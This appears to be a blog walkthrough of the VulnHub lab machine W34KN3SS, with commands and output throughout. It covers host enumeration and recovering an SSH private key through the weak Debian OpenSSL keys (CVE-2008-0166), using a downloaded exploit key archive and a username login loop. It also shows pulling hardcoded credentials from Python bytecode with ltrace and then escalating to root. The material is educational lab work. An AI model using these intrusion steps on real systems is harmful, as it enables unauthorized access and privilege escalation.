Hooper Labs

W34KN3SS (Weakness)

Hack the Planet


I can't sing enough praises about W34KN3SS by askar @mohammadaskar2. I thoroughly enjoyed it from enumeration to privilege escalation (and even learned something new during privesc). Let's get started.

I began by downloading the torrent from Vulnhub here: https://www.vulnhub.com/entry/w34kn3ss-1,270/. After loading the VM in VMWare, adjusting the networking settings, and starting the VM, I looked for new hosts with an IP address on my current subnet using arp-scan.

            root@kali:# arp-scan -l
            Interface: eth0, datalink type: EN10MB (Ethernet)
            Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
     00:0c:29:11:13:fb   VMware, Inc.

After that, I decided to try out my new enumeration script. After running the same first 10 commands when starting out on many of the boxes, I decided to automate it. The script can be found here: enum-automation.sh. This script automates the nmap scan, checks for common services (right now just HTTP(S) and FTP), and initiates follow-on enumeration programs such as dirb and nikto.

            root@kali:# ./enum-automation.sh
            Initial Host Enumeration Script
            by Cary Hooper @nopantrootdance
            [!] Detected HTTP/HTTPS
            [!] Port 80 is a web service
            [!] Port 443 is a web service
                [*] Starting nikto against port 80
                [*] Starting dirb against port 80
                [*] Starting nikto against port 443
                [*] Starting dirb against port 443

            Program Complete

Looking at the nmap scan, we see services running on three ports: 22, 80, and 443.

            root@kali:# cat nmap/ 
            Nmap scan report for
            Host is up (0.00062s latency).
            Not shown: 65532 closed ports
            22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
            80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
            443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
            MAC Address: 00:0C:29:11:13:FB (VMware)
            Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So far, everything about this host seems like it's running Linux. I see that an SSH service is running, so I'll be on the lookout for possible usernames, passwords, or private keys. It's also interesting that two web services are running, presumably HTTP and HTTPS services. Sometimes these are different, but often they host the same site (especially because here they are running on what appears to be the same Apache server). Regardless of which content they host, I'll be looking at the HTTPS certificate to see if we can gain any information.

            root@kali:# echo | openssl s_client -showcerts -servername -connect 2>/dev/null | openssl x509 -inform pem -noout -text | egrep "Issuer:|Subject:"
            Issuer: C = jo, ST = Jordan, L = Amman, O = weakness.jth, CN = weakness.jth, emailAddress = n30@weakness.jth
            Subject: C = jo, ST = Jordan, L = Amman, O = weakness.jth, CN = weakness.jth, emailAddress = n30@weakness.jth
            root@kali:# echo -e "jordan\namman\nn30\njamman\njordanamman" > users.txt
            root@kali:# echo '  weakness.jth'>> /etc/hosts
            root@kali:# ./enum-automation.sh weakness.jth
            Initial Host Enumeration Script
            by Cary Hooper @nopantrootdance
            [!] Detected HTTP/HTTPS
            [!] Port 80 is a web service
            [!] Port 443 is a web service
                [*] Starting nikto against port 80
                [*] Starting dirb against port 80
                [*] Starting nikto against port 443
                [*] Starting dirb against port 443

            Program Complete

Not only did we learn some possible usernames, but we also found what may be a hostname for the machine, weakness.jth. To test this out, I added this entry to my /etc/hosts file and ran my enumation script again to see if there were any differences. Immediately, I found that these sites were serving different content.

            root@kali:# curl weakness.jth
            <title>Hmmmm ??</title>


             <center><h1>keep following the white rabbit :D</h1></center>

                        /|      __
                       / |   ,-~ /
                      Y :|  //  /
                      | jj /( .^
                     /       Y
                    jo  o    |
                   ( ~T~     j
                    >._-' _./
                   /   "~"  |
                  Y     _,  |
                 /| ;-"~ _  l
                / l/ ,-"~    \
                \//\/      .- \
                 Y        /    Y    -n30
                 l       I     !
                 ]\      _\    /"\
                (" ~----( ~   Y.  )


Great, thanks for the motivation Amman. While looking at the rest of the enumeration files, we see that is hosting a hint telling us that it's "it's all about keys :D" and that "We're going to need keys. Lots of Keys." Enumerating further, I saw two files tucked away in http://weakness.jth/private/files/. The first, notes.txt, read "this key was generated by openssl 0.9.8c-1". Another clue! The other was a public key.

            root@kali:# curl http://weakness.jth/private/files/mykey.pub
            ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster

I wasn't sure exactly what to do next, so I searched on google for "deriving public key into private key" and "spoof public key ssh", but got no hits. Finally, I searched for weaknesses in openssl 0.9.8c-1 and found the following: https://www.exploit-db.com/exploits/5720. I remembered exploiting this weakness elsewhere (I wonder if that's where Amman got it from?). Its documented in CVE-2008-0166, which outlines a vulnerability in Debian-based operating systems' random number generators. This resulted in predictable random numbers and allowed attackers to brute-force derived keys. So we're going to brute force the RSA key. I download the repository of created keys (trading hard drive space for time here), search for this public key and see if was able to be brute-forced.

            root@kali:# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
            root@kali:# tar xvjf 5622.tar.bz2
            root@kali:# grep -r "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw==" .
            ./rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub:ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster

Great! Now we found a public/private key pair that match and may have a shell shortly. Now, our only issue is that we don't know of a username. No problem. We can brute that...

            root@kali:# cp ./rsa/2048/4161de56829de2fe64b9055711f531c1-2537 id_rsa
            root@kali:# chmod 400 id_rsa
            root@kali:# for i in $(cat users.txt); do ssh -o NumberOfPasswordPrompts=0 $i@ -i id_rsa; done
            jordan@ Permission denied (publickey,password).
            amman@ Permission denied (publickey,password).
            Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

             * Documentation:  https://help.ubuntu.com
             * Management:     https://landscape.canonical.com
             * Support:        https://ubuntu.com/advantage

            Last login: Sat Aug  3 04:17:57 2019 from

And we're in! Listing the home directory of n30, we see three things out of the ordinary: user.txt, .sudo_as_admin_successful, and code*. Thus, we know that this user likely has sudo rights to escalate privilge to root (with sudo su), but we don't know the password.

            n30@W34KN3SS:~$ ll
            total 44
            drwxr-xr-x 5 n30  n30  4096 Aug 14  2018 ./
            drwxr-xr-x 3 root root 4096 May  5  2018 ../
            -rw------- 1 n30  n30    25 Aug 14  2018 .bash_history
            -rw-r--r-- 1 n30  n30   220 May  5  2018 .bash_logout
            -rw-r--r-- 1 n30  n30  3771 May  5  2018 .bashrc
            drwx------ 2 n30  n30  4096 May  5  2018 .cache/
            -rwxrwxr-x 1 n30  n30  1138 May  8  2018 code*
            drwxrwxr-x 3 n30  n30  4096 May  5  2018 .local/
            -rw-r--r-- 1 n30  n30   818 May  7  2018 .profile
            drwxrwxr-x 2 n30  n30  4096 May  5  2018 .ssh/
            -rw-r--r-- 1 n30  n30     0 May  5  2018 .sudo_as_admin_successful
            -rw-rw-r-- 1 n30  n30    33 May  8  2018 user.txt
            n30@W34KN3SS:~$ file code*
            code: python 2.7 byte-compiled

After some basic linux enumeration and poking around for a few minutes, I decided to focus on the "code" file. I ran the strings command on it, read the file with cat, and then ran the program, but to my surprise, recieved garbage back. This was unexpected... I thought it was compiled python code.

            n30@W34KN3SS:~$ ./code
            ./code: line 1: $'\003\363\r': command not found
            ./code: line 2: $'^\307\361Zc\004@sX\002dd\001lZdd\001l\001Z\001dd\001l\002Z\002dd\001l\003Z\003d\002j\004e\002j\005\203\203\001GHd\003GHd\004GHd\005Z\006e\006e\ae\bd\006\203\001\203\0017Z\006e\006e\ae\bd\a\203\001\203\0017Z\006e\006e\ae\bd\b\203\001\203\0017Z\006e\006e\ae\bd': command not found
            ./code: line 3: $'\203\001\203\0017Z\006e\006e\ae\bd\v\203\001\203\0017Z\006e\006e\ae\bd\f\203\001\203\0017Z\006e\006e\ae\bd\r\203\001\203\0017Z\006e\006e\ae\bd\016\203\001\203\0017Z\006e\006e\ae\bd\017\203\001\203\0017Z\006e\006e\ae\bd\020\203\001\203\0017Z\006e\006e\ae\bd\021\203\001\203\0017Z\006e\006e\ae\bd\021\203\001\203\0017Z\006e\006e\ae\bd\022\203\001\203\0017Z\006e\006e\ae\bd\020\203\001\203\0017Z\006e\006e\ae\bd\021\203\001\203\0017Z\006e\006e\ae\bd\022\203\001\203\0017Z\006e\006e\ae\bd\021\203\001\203\0017Z\006e\006e\ae\bd\022\203\001\203\0017Z\006e\006e\ae\bd\a\203\001\203\0017Z\006e\006e\ae\bd\a\203\001\203\0017Z\006e\003j': command not found
            ./code: line 4: syntax error near unexpected token `$'\025i\377\377\377\377Ns\032[+]System''
            ./code: line 4: `�Z
                                  �GHdGHdS(i����Ns�[+]System Started at : {0}sG[+]This binary should generate unique hash for the hardcoded login infos[+]Generating the hash ..ttnt3t0t:tdtMtAtStDtNtBt!t#s[+]Your new hash is : {0}s[+]Done(
                    tostsocketttimethashlibtformattctimetinftchrtordtsha256t    hexdigestthashf(((scode.py<module>s>

I didn't know exactly how to run python byte code, but I figured it was a python versioning error. I had seen some of these encoding/output issues before. So I tried to run the byte code by explicitly invoking python2. This seemed to work.

            n30@W34KN3SS:~$ python2 code
            [+]System Started at : Sat Aug  3 04:27:53 2019
            [+]This binary should generate unique hash for the hardcoded login info
            [+]Generating the hash ..
            [+]Your new hash is : 794d4cb07d0dbbf61df0415ff4a8684ce2f8d04b663bd5893fb198e512a82354

So contextual clues indicate that some sort of hash is being generated for "hardcoded" login info. I can only assume this is a hash of credentials for my current user, n30. I attempted to crack this hash using hashcat, but could not. There must be another way. If the program is generating a hash and it is not being ran with higher privileges, then it must be contained within the program. But how can I access it? I knew I'd need to start debugging the python bytecode. There's probably a way to do this within python or gdb, however, I preferred to take a look with ltrace before I jumped off the deep end. According to the man page, ltrace is a "library call tracer". I learned about it and strace in one of the Over The Wire labs. I ran ltrace on the program, then piped the output to a file so that it was more easily greppable. At first, it looked like the output was too long, but on a whim, I grepped for n30. At the bottom of the output, I found my answer.

           n30@W34KN3SS:~$ ltrace python code >/dev/null 2> code.ltrace
           n30@W34KN3SS:~$ cat code.ltrace  | grep n30
           ... <SNIP> ...
           memcpy(0x7f77acc70734, "n30:dMASDNB!!#B!#!#33", 21) = 0x7f77acc70734

This last line appeared to be a memcopy function just before the hash was returned at the end of the program. I assumed it was the value that was hashed and salted. To check, I attempted to list my sudo privileges with sudo -l. As expected, the user n30 may use sudo for any command. With that, I was root, had full control of the VM, and was able to read the root flag. Great box Amman!

            n30@W34KN3SS:~$ sudo -l 
            [sudo] password for n30: 
            Matching Defaults entries for n30 on W34KN3SS:
                env_reset, mail_badpass,

            User n30 may run the following commands on W34KN3SS:
                (ALL : ALL) ALL
            n30@W34KN3SS:~$ sudo su
            root@W34KN3SS:/home/n30# id
            uid=0(root) gid=0(root) groups=0(root)